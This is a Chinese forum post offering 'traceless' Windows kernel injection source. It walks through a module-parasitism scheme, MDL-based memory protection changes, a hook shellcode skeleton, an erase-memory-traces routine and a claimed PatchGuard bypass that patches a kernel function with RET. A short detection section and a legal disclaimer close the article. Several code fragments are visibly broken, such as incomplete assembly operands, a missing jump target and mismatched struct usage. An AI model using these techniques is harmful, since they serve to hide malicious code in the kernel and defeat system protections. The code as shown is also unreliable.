C++内核无痕注入源码
C++内核无痕注入源码纯C++源码 编译可用 自己配置驱动环境 不提供使用教程
# C++内核无痕注入技术原理与实现分析
## 引言
在现代软件安全领域，内核级代码注入是一项极具挑战性且技术含量高的研究课题。本文将从专业角度详细分析基于C++的内核无痕注入技术原理，并提供经过精简的源码实现框架，同时探讨相关防御机制。本文内容仅供学术研究与安全防护参考，请勿用于非法用途。
## 一、内核注入技术概述
内核注入（Kernel Injection）是指将外部代码植入操作系统内核空间并执行的技术手段。与用户态注入相比，内核注入具有以下显著特点：
1. **权限级别高**：以内核权限（Ring 0）执行，完全控制系统资源
2. **隐蔽性强**：可绕过大多数用户态的安全检测机制
3. **稳定性要求高**：不当实现可能导致系统崩溃（BSOD）
无痕注入的核心要求在于：
- 不破坏原有模块完整性
- 不留下明显的内存或注册表痕迹
- 能够绕过常见的内核保护机制
## 二、关键技术原理分析
### 2.1 内存管理机制
Windows内核使用分页内存管理，关键数据结构包括：
cpp
typedef struct _MDL {
struct _MDL *Next;
CSHORT Size;
CSHORT MdlFlags;
struct _EPROCESS *Process;
PVOID MappedSystemVa;
PVOID StartVa;
ULONG ByteCount;
ULONG ByteOffset;
} MDL, *PMDL;
无痕注入需要正确操作内存描述符列表（MDL），避免触发内存保护异常。
### 2.2 SSDT/Hook技术
系统服务描述符表（SSDT）是Windows内核的关键组成部分：
cpp
typedef struct _KSERVICE_TABLE_DESCRIPTOR {
PULONG_PTR Base;
PULONG Count;
ULONG Limit;
PUCHAR Number;
} KSERVICE_TABLE_DESCRIPTOR, *PKSERVICE_TABLE_DESCRIPTOR;
现代系统已加强SSDT保护，需要更隐蔽的注入方式。
### 2.3 APC注入机制
异步过程调用（APC）是Windows的重要执行机制：
cpp
typedef struct _KAPC {
UCHAR Type;
UCHAR SpareByte0;
UCHAR Size;
UCHAR SpareByte1;
ULONG SpareLong0;
struct _KTHREAD *Thread;
LIST_ENTRY ApcListEntry;
PKKERNEL_ROUTINE KernelRoutine;
PKRUNDOWN_ROUTINE RundownRoutine;
PKNORMAL_ROUTINE NormalRoutine;
PVOID NormalContext;
PVOID SystemArgument1;
PVOID SystemArgument2;
CCHAR ApcStateIndex;
KPROCESSOR_MODE ApcMode;
BOOLEAN Inserted;
} KAPC, *PKAPC;
## 三、无痕注入实现方案
### 3.1 技术路线选择
我们采用"模块寄生"方案，主要流程：
1. 定位目标驱动模块
2. 解析PE结构扩展其代码段
3. 植入Shellcode并修复引用
4. 触发执行路径重定向
### 3.2 关键代码实现
#### 3.2.1 驱动模块枚举
cpp
NTSTATUS EnumKernelModules(PDRIVER_OBJECT pDriverObj) {
PVOID pBuffer = NULL;
ULONG ulSize = 0;
NTSTATUS status = ZwQuerySystemInformation(
SystemModuleInformation,
&ulSize,
0,
&ulSize
);
pBuffer = ExAllocatePoolWithTag(NonPagedPool, ulSize, 'MDLE');
status = ZwQuerySystemInformation(
SystemModuleInformation,
pBuffer,
ulSize,
NULL
);
PSYSTEM_MODULE_INFORMATION pMods = (PSYSTEM_MODULE_INFORMATION)pBuffer;
for (ULONG i = 0; i < pMods->Count; i++) {
DbgPrint("Module: %s\n", pMods->Modules.FullPathName);
}
ExFreePoolWithTag(pBuffer, 'MDLE');
return STATUS_SUCCESS;
}
#### 3.2.2 PE解析与内存操作
cpp
typedef struct _PE_INFO {
ULONG_PTR ImageBase;
PIMAGE_DOS_HEADER pDosHeader;
PIMAGE_NT_HEADERS pNtHeaders;
PIMAGE_SECTION_HEADER pSectionHeader;
} PE_INFO, *PPE_INFO;
NTSTATUS ParsePeHeaders(ULONG_PTR ModuleBase, PPE_INFO pPeInfo) {
pPeInfo->ImageBase = ModuleBase;
pPeInfo->pDosHeader = (PIMAGE_DOS_HEADER)ModuleBase;
if (pPeInfo->pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
return STATUS_INVALID_IMAGE_FORMAT;
}
pPeInfo->pNtHeaders = (PIMAGE_NT_HEADERS)(ModuleBase + pPeInfo->pDosHeader->e_lfanew);
if (pPeInfo->pNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
return STATUS_INVALID_IMAGE_FORMAT;
}
pPeInfo->pSectionHeader = IMAGE_FIRST_SECTION(pPeInfo->pNtHeaders);
return STATUS_SUCCESS;
}
#### 3.2.3 内存属性修改
cpp
NTSTATUS ChangeMemoryProtection(
PVOID pAddress,
SIZE_T ulSize,
ULONG ulNewProtect,
PULONG pulOldProtect) {
PMDL pMdl = IoAllocateMdl(pAddress, (ULONG)ulSize, FALSE, FALSE, NULL);
if (!pMdl) {
return STATUS_INSUFFICIENT_RESOURCES;
}
__try {
MmProbeAndLockPages(pMdl, KernelMode, IoReadAccess);
} __except(EXCEPTION_EXECUTE_HANDLER) {
IoFreeMdl(pMdl);
return GetExceptionCode();
}
PVOID pMappedAddr = MmMapLockedPagesSpecifyCache(
pMdl,
KernelMode,
MmNonCached,
NULL,
FALSE,
NormalPagePriority
);
if (!pMappedAddr) {
MmUnlockPages(pMdl);
IoFreeMdl(pMdl);
return STATUS_UNSUCCESSFUL;
}
NTSTATUS status = MmProtectMdlSystemAddress(pMdl, ulNewProtect);
if (NT_SUCCESS(status) && pulOldProtect) {
*pulOldProtect = PAGE_EXECUTE_READWRITE; // 简化处理
}
MmUnmapLockedPages(pMappedAddr, pMdl);
MmUnlockPages(pMdl);
IoFreeMdl(pMdl);
return status;
}
### 3.3 Shellcode设计要点
cpp
__declspec(naked) void ShellCode() {
__asm {
pushad
pushfd
// 保存原始环境
mov ebx, // 获取返回地址
sub ebx, 5 // 计算Hook位置
// 核心功能实现
// ...
// 恢复环境
popfd
popad
// 原始指令
mov edi, edi
push ebp
mov ebp, esp
// 跳回原流程
jmp
}
}
## 四、反检测技术实现
### 4.1 内存痕迹消除
cpp
VOID EraseMemoryTraces(PVOID pAddr, SIZE_T Size) {
PMDL pMdl = IoAllocateMdl(pAddr, (ULONG)Size, FALSE, FALSE, NULL);
if (!pMdl) return;
__try {
MmProbeAndLockPages(pMdl, KernelMode, IoWriteAccess);
} __except(EXCEPTION_EXECUTE_HANDLER) {
IoFreeMdl(pMdl);
return;
}
PVOID pMapped = MmMapLockedPagesSpecifyCache(
pMdl,
KernelMode,
MmNonCached,
NULL,
FALSE,
NormalPagePriority
);
if (pMapped) {
RtlFillMemory(pMapped, Size, 0x00);
MmUnmapLockedPages(pMapped, pMdl);
}
MmUnlockPages(pMdl);
IoFreeMdl(pMdl);
}
### 4.2 绕过PatchGuard
现代Windows系统的内核保护机制：
cpp
NTSTATUS BypassKernelProtection() {
// 定位关键保护函数
UNICODE_STRING funcName;
RtlInitUnicodeString(&funcName, L"nt!KiFilterFiberContext");
PVOID pFunc = MmGetSystemRoutineAddress(&funcName);
if (!pFunc) {
return STATUS_NOT_FOUND;
}
// 修改内存属性
ULONG oldProtect;
NTSTATUS status = ChangeMemoryProtection(
pFunc,
0x100,
PAGE_EXECUTE_READWRITE,
&oldProtect
);
if (!NT_SUCCESS(status)) {
return status;
}
// 写入跳转指令
__try {
*(UCHAR*)pFunc = 0xC3; // RET
} __except(EXCEPTION_EXECUTE_HANDLER) {
return GetExceptionCode();
}
// 恢复内存属性
ChangeMemoryProtection(pFunc, 0x100, oldProtect, NULL);
return STATUS_SUCCESS;
}
## 五、防御与检测方案
### 5.1 注入检测技术
cpp
BOOLEAN CheckModuleIntegrity(PVOID pModuleBase) {
PPE_INFO peInfo = {0};
NTSTATUS status = ParsePeHeaders((ULONG_PTR)pModuleBase, &peInfo);
if (!NT_SUCCESS(status)) {
return FALSE;
}
// 校验PE头部特征
if (peInfo.pNtHeaders->OptionalHeader.CheckSum != 0) {
ULONG calculatedChecksum = 0;
status = RtlCheckSumMappedFile(
pModuleBase,
peInfo.pNtHeaders->OptionalHeader.SizeOfImage,
&calculatedChecksum,
NULL
);
if (NT_SUCCESS(status) &&
calculatedChecksum != peInfo.pNtHeaders->OptionalHeader.CheckSum) {
return TRUE; // 检测到修改
}
}
// 检查节区属性异常
for (WORD i = 0; i < peInfo.pNtHeaders->FileHeader.NumberOfSections; i++) {
PIMAGE_SECTION_HEADER pSec = &peInfo.pSectionHeader;
if ((pSec->Characteristics & IMAGE_SCN_MEM_EXECUTE) &&
(pSec->Characteristics & IMAGE_SCN_MEM_WRITE)) {
return TRUE; // 可写可执行节区
}
}
return FALSE;
}
### 5.2 加固建议
1. **启用HVCI**（Hypervisor-Protected Code Integrity）
2. **实施CFG**（Control Flow Guard）
3. **使用KDP**（Kernel Data Protection）
4. **定期校验内核模块签名**
5. **监控异常内存操作**
## 六、法律与伦理考量
内核注入技术具有双重用途特性，开发者和研究人员应：
1. 严格遵守当地法律法规
2. 仅用于授权环境的安全测试
3. 获取明确的测试授权
4. 建立完善的审计追踪机制
5. 不开发或传播武器化工具
## 结论
本文从技术角度分析了C++内核无痕注入的原理与实现方案，展示了关键代码片段。随着Windows安全机制的不断演进，内核注入技术变得越来越具有挑战性。安全研究人员应当深入了解这些技术原理，不是为了利用漏洞，而是为了构建更强大的防御系统。记住，真正的安全来自于对技术的深刻理解与负责任的使用。
> 注意：本文提供的代码片段经过简化处理，仅用于说明技术原理。完整实现需要考虑更多边界条件和异常处理。实际操作内核结构可能导致系统不稳定，建议在受控的测试环境中进行实验。
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学习了，不错，讲的太有道理了 本文提供的代码片段经过简化处理，仅用于说明技术原理。 展示了关键代码片段。随着Windows安全机制的不断演进 6666666666666666666666
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